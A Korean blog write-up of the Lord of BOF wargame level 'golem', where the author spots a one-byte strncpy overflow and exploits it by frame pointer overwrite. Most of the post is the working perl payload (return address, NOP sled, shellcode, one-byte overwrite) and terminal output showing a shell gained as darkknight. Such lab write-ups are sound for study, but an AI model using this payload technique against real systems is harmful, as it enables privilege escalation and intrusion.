IT 그리고 정보보안/Write-up

LOB Level 12 (golem)

plummmm 2021. 4. 12. 19:08
반응형

이번에는 이름이 다크나이트..후덜덜

소스파일을 열어보자.

 

strncpy?? 가 나온다. 정확한 분석을 위해 함수 레퍼런스를 함 보자.

char * strncpy ( char * destination, const char * source, size_t num );

​문자열에서 문자열 일부만 복사하는 함수이다. 

버퍼가 40인데 복사하는 사이즈가 41이다;

거기다가 함수도 두개.

이건 그냥 프레임 포인터 오버라이팅 하라고 대놓고 ..

 

자 그럼 공격을 해보자.

 

[golem@localhost golem]$ ./darkknight `perl -e 'print "\xd9\xfa\xff\xbf","\x90"x24,"\x68\xf9\xbf\x0f\x40\xb8\xe0\x8a\x05\x40\xff\xd0","\xc2"'`

們?릱릱릱릱릱릱릱릱릱릱릱릱h廈@멘???퓹E?웝??    @

Segmentation fault

[golem@localhost golem]$ ./darkknight `perl -e 'print "\xd9\xfa\xff\xbf","\x90"x24,"\x68\xf9\xbf\x0f\x40\xb8\xe0\x8a\x05\x40\xff\xd0","\xc1"'`

們?릱릱릱릱릱릱릱릱릱릱릱릱h廈@멘???퓹E?웝??    @

Segmentation fault

[golem@localhost golem]$ ./darkknight `perl -e 'print "\xd9\xfa\xff\xbf","\x90"x24,"\x68\xf9\xbf\x0f\x40\xb8\xe0\x8a\x05\x40\xff\xd0","\xc0"'`

們?릱릱릱릱릱릱릱릱릱릱릱릱h廈@멘???퓹E?웝??    @

bash$ quit

sh: quit: command not found

bash$ exit

exit

Illegal instruction

[golem@localhost golem]$ ./darkknight `perl -e 'print "\xd9\xfa\xff\xbf","\x90"x24,"\x68\xf9\xbf\x0f\x40\xb8\xe0\x8a\x05\x40\xff\xd0","\xc0"'`

們?릱릱릱릱릱릱릱릱릱릱릱릱h廈@멘???퓹E?웝??    @

bash$ id

uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)

bash$ my-pass

euid = 512

new attacker

 

​버퍼 위치가 자꾸 바껴서 몇번 때려야 하지만 금방 셸을 땀. 

 

반응형

'IT 그리고 정보보안 > Write-up' 카테고리의 다른 글

LOB Level 14 (bugbear)  (0) 2021.04.12
LOB Level 13 (darkknight)  (0) 2021.04.12
LOB Level 11 (skeleton)  (0) 2021.04.12
LOB Level 10 (vampire)  (0) 2021.04.12
LOB Level 9 (troll)  (0) 2021.04.12